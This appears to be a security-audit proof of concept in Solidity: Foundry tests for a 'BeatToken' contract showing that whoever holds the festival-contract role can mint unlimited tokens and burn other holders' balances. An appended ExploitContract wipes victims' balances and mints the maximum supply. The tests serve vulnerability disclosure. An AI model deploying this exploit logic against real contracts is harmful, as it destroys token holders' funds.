The vulnerability allows complete takeover of the token's supply and can destroy all token value instantly.
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/BeatToken.sol";
contract MissingAccessControlTest is Test {
BeatToken public token;
address public owner;
address public attacker;
address public maliciousContract;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
maliciousContract = makeAddr("maliciousContract");
vm.prank(owner);
token = new BeatToken();
}
function test_NoAccessControl_AnyoneCanBecomeFestival() public {
vm.prank(owner);
token.setFestivalContract(maliciousContract);
console.log("Owner set festivalContract to:", maliciousContract);
vm.prank(maliciousContract);
token.mint(attacker, 1_000_000 ether);
uint256 attackerBalance = token.balanceOf(attacker);
console.log("Attacker received:", attackerBalance);
assertEq(attackerBalance, 1_000_000 ether);
vm.prank(owner);
vm.expectRevert("Festival contract already set");
token.setFestivalContract(address(0));
console.log("Owner CANNOT revoke malicious contract!");
vm.prank(maliciousContract);
token.mint(attacker, 100_000_000 ether);
attackerBalance = token.balanceOf(attacker);
console.log("Attacker now has:", attackerBalance);
address victim = makeAddr("victim");
vm.prank(owner);
token.transfer(victim, 5000 ether);
console.log("Victim received 5000 BEAT");
vm.prank(maliciousContract);
token.burnFrom(victim, 5000 ether);
assertEq(token.balanceOf(victim), 0);
console.log("Malicious contract burned ALL victim tokens!");
}
function test_NoAccessControl_MintWithoutLimit() public {
vm.prank(owner);
token.setFestivalContract(maliciousContract);
for(uint i = 0; i < 10; i++) {
vm.prank(maliciousContract);
token.mint(attacker, 1_000_000_000 ether);
}
uint256 finalBalance = token.balanceOf(attacker);
console.log("Attacker balance after unlimited minting:", finalBalance);
assertTrue(finalBalance > 10_000_000_000 ether);
}
function test_NoAccessControl_OwnerCannotMint() public {
vm.prank(owner);
token.setFestivalContract(maliciousContract);
vm.prank(owner);
vm.expectRevert("Only_Festival_Mint");
token.mint(owner, 1000 ether);
console.log("Owner CANNOT mint tokens - only malicious contract can!");
vm.prank(owner);
vm.expectRevert("Only_Festival_Burn");
token.burnFrom(owner, 100 ether);
console.log("Owner CANNOT burn tokens - only malicious contract can!");
}
function test_NoAccessControl_FestivalContractNotEvenSet() public {
vm.prank(owner);
vm.expectRevert("Only_Festival_Mint");
token.mint(owner, 1000 ether);
console.log("No one can mint before festivalContract is set");
console.log("But contract cannot function at all!");
}
}
contract ExploitContract {
BeatToken public token;
constructor(BeatToken _token) {
token = _token;
}
function destroyTokenValue() external {
token.mint(address(this), type(uint256).max);
}
function stealFromUsers(address[] memory victims) external {
for(uint i = 0; i < victims.length; i++) {
uint256 balance = token.balanceOf(victims[i]);
token.burnFrom(victims[i], balance);
}
}
}